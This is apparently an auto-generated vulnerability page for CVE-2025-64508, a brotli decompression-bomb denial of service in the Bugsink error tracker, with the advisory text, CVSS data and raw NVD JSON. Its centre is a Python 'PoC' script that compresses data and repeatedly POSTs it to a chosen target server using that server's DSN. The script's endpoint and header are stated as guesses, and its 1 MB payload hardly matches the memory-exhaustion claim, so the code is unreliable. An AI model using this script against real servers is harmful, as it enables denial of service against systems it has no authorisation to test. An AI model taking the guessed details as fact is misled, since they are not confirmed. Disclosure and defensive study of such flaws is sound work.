Security Vulnerability Report
中文
CVE-2025-64508 CVSS 7.5 HIGH

CVE-2025-64508

Published: 2025-11-10 22:15:40
Last Modified: 2026-04-15 00:35:42

Description

Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.5, brotli "bombs" (highly compressed brotli streams, such as many zeros) can be sent to the server. Since the server will attempt to decompress these streams before applying various maximums, this can lead to exhaustion of the available memory and thus a Denial of Service. This can be done if the `DSN` is known, which it is in many common setups (JavaScript, Mobile Apps). The issue is patched in Bugsink version `2.0.5`. The vulnerability is similar to, but distinct from, another brotli-related problem in Bugsink, GHSA-rrx3-2x4g-mq2h/CVE-2025-64509.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Bugsink < 2.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64508 PoC - Bugsink Brotli Bomb DoS Note: This is for educational and authorized testing purposes only. """ import brotli import requests import sys def generate_brotli_bomb(): """ Generate a brotli bomb - highly compressed data that expands to huge size when decompressed. The classic approach uses repeated zeros which compress extremely well with brotli. """ # Create highly compressible data (lots of zeros) # A small amount of this data will expand to massive size when decompressed bomb_data = b'\x00' * 1024 * 1024 # 1MB of zeros # Compress with brotli - this should result in very small output compressed = brotli.compress(bomb_data) print(f"Original size: {len(bomb_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(bomb_data) / len(compressed):.2f}x") return compressed def send_brotli_bomb(target_url, dsn, num_requests=5): """ Send brotli bomb to target Bugsink server. Args: target_url: Base URL of the Bugsink server dsn: Data Source Name for the target project num_requests: Number of concurrent bomb requests to send """ bomb = generate_brotli_bomb() # Construct the endpoint - typically bugsink receives error reports via API endpoint = f"{target_url.rstrip('/')}/api/v1/errors" headers = { 'Content-Type': 'application/brotli', 'X-Bugsink-DSN': dsn, 'User-Agent': 'Bugsink-Bomb-PoC/1.0' } print(f"\nSending {num_requests} brotli bombs to {endpoint}...") try: for i in range(num_requests): response = requests.post( endpoint, data=bomb, headers=headers, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("\nAttack completed. Check server memory usage.") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64508-poc.py <target_url> <dsn> [num_requests]") print("Example: python cve-2025-64508-poc.py https://bugsink.example.com 'https://[email protected]/123' 10") sys.exit(1) target = sys.argv[1] dsn = sys.argv[2] num = int(sys.argv[3]) if len(sys.argv) > 3 else 5 send_brotli_bomb(target, dsn, num)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64508", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:39.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.5, brotli \"bombs\" (highly compressed brotli streams, such as many zeros) can be sent to the server. Since the server will attempt to decompress these streams before applying various maximums, this can lead to exhaustion of the available memory and thus a Denial of Service. This can be done if the `DSN` is known, which it is in many common setups (JavaScript, Mobile Apps). The issue is patched in Bugsink version `2.0.5`. The vulnerability is similar to, but distinct from, another brotli-related problem in Bugsink, GHSA-rrx3-2x4g-mq2h/CVE-2025-64509."}, {"lang": "es", "value": "Bugsink es una herramienta de seguimiento de errores autohospedada. En versiones anteriores a la 2.0.5, se pueden enviar 'bombas' brotli (flujos brotli altamente comprimidos, como muchos ceros) al servidor. Dado que el servidor intentará descomprimir estos flujos antes de aplicar varios máximos, esto puede llevar al agotamiento de la memoria disponible y, por lo tanto, a una Denegación de Servicio. Esto se puede lograr si se conoce el 'DSN', lo cual ocurre en muchas configuraciones comunes (JavaScript, aplicaciones móviles). El problema está parcheado en la versión '2.0.5' de Bugsink. La vulnerabilidad es similar, pero distinta, a otro problema relacionado con brotli en Bugsink, GHSA-rrx3-2x4g-mq2h/CVE-2025-64509."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/bugsink/bugsink/commit/3f65544aab3ad5303d97009136640de97b0676a5", "source": "[email protected]"}, {"url": "https://github.com/bugsink/bugsink/pull/266", "source": "[email protected]"}, {"url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-fc2v-vcwj-269v", "source": "[email protected]"}, {"url": "https://github.com/google/brotli/commit/67d78bc41db1a0d03f2e763497748f2f69946627", "source": "[email protected]"}, {"url": "https://github.com/google/brotli/issues/1327", "source": "[email protected]"}, {"url": "https://github.com/google/brotli/issues/1375", "source": "[email protected]"}, {"url": "https://github.com/google/brotli/pull/1234", "source": "[email protected]"}, {"url": "https://github.com/google/brotli/releases/tag/v1.2.0", "source": "[email protected]"}]}}